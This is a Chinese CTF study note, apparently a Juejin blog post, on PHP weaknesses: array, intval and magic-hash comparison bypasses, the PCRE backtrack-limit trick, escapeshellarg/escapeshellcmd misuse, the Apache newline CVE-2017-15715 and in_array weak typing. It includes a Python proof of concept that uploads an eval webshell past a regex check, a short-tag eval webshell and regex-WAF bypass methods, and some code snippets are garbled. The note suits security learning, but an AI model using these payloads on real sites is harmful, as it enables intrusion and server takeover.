开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第18天,点击查看活动详情
0x8、PHP特性
一、 数组绕过正则相关
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
如果在题目源代码中看到以上函数,只需传入一个数组即可绕过正则匹配
二、intval绕过
if(intval($num) < 2020 && intval($num + 1) > 2021
#intval() 函数用于获取变量的整数值。
intval('2e4') => 2
intval('2e4'+1) => 20001
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
+010574
三、md5判断绕过
if (isset($_GET['md5'])){
_GET['md5'];
if (md5))
传入的值加密后仍等于其本身
== 在进行比较的时候,会先将字符串类型转化成相同类型再比较
使用使得进行MD5加密前是’0e’开头的,MD5加密后也是’0e’‘ 进行绕过
符合的 0e215962017
md5=0e215962017
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。payload:a[]=1&b[]=2
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。payload: a=QNKCDZO&b=240610708
如果是科学计数法的字符串 那么读取e之前的内容
+1后又转换成了数字类型
num=2e4 (传入num值后台会自动转成字符串
四、PRCE 回溯次数限制绕过某些安全限制(preg_match)
p神关于prce的文章(PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com))
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(!is_php($input)) {
// fwrite($f, $input); ...
}
回溯的过程是怎样的](www.leavesongs.com/PENETRATION…)
所以,我们题目中的正则<?.[(;?>].,假设匹配的输入是<?php phpinfo();//aaaaa`,实际执行流程是这样的:
见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(;?>]`。
所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……
最终直到吐出;,输入变成第12步显示的],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配. ,第二个. `匹配到了字符串末尾,最后结束匹配。
在调试正则表达式的时候,我们可以查看当前回溯的次数:
这里回溯了8次。
0x03 PHP的pcre.backtrack_limit限制利用
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:
这里有个有趣的事情,就是PHP文档中,中英文版本的数值是不一样的:
我们应该以英文版为参考。
可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?比如:
可见,preg_match返回的非1和0,而是false。
preg_match函数返回false表示此次执行失败了,我们可以调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制:
所以,这道题的答案就呼之欲出了。我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
对应的POC如下:
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
0x04 PCRE另一种错误的用法](www.leavesongs.com/PENETRATION…)
延伸一下,很多基于PHP的WAF,如:
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
均存在上述问题,通过大量回溯可以进行绕过。
另外,我遇到更常见的一种WAF是:
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
这里涉及到了正则表达式的“非贪婪模式”。在NFA中,如果我输入UNION/aaaaa/SELECT,这个正则表达式执行流程如下:
- .+?匹配到/
- 因为非贪婪模式,所以.+?停止匹配,而由S匹配*
- S匹配失败,回溯,再由.+?匹配
- 因为非贪婪模式,所以.+?停止匹配,而由S匹配a
- S匹配a失败,回溯,再由.+?匹配a
- ...
回溯次数随着a的数量增加而增加。所以,我们仍然可以通过发送大量a,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF:
0x05 修复方法](www.leavesongs.com/PENETRATION…)
那么,如何修复这个问题呢?
其实如果我们仔细观察PHP文档,是可以看到preg_match函数下面的警告的:
如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值,如:
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
这样,即使正则执行失败返回false,也不会进入if语句。
五、一句话木马绕过
如果过滤了php,可以考虑用短标签能绕过
<?= @eval($_POST[1]); ?>
六、escape_shell_arg escape_shell_cmd漏洞
escape_shell_cmd
对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到 exec() 或system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$,\x0A和\xFF。'和"仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及%和!` 字符都会被空格代替。
escape_shell_arg
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。
上面两个函数如果连用的顺序不对就会导致漏洞的产生
七、Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
所以如果设置RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符(也就是%0a)
八、in_array 弱类型比较
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false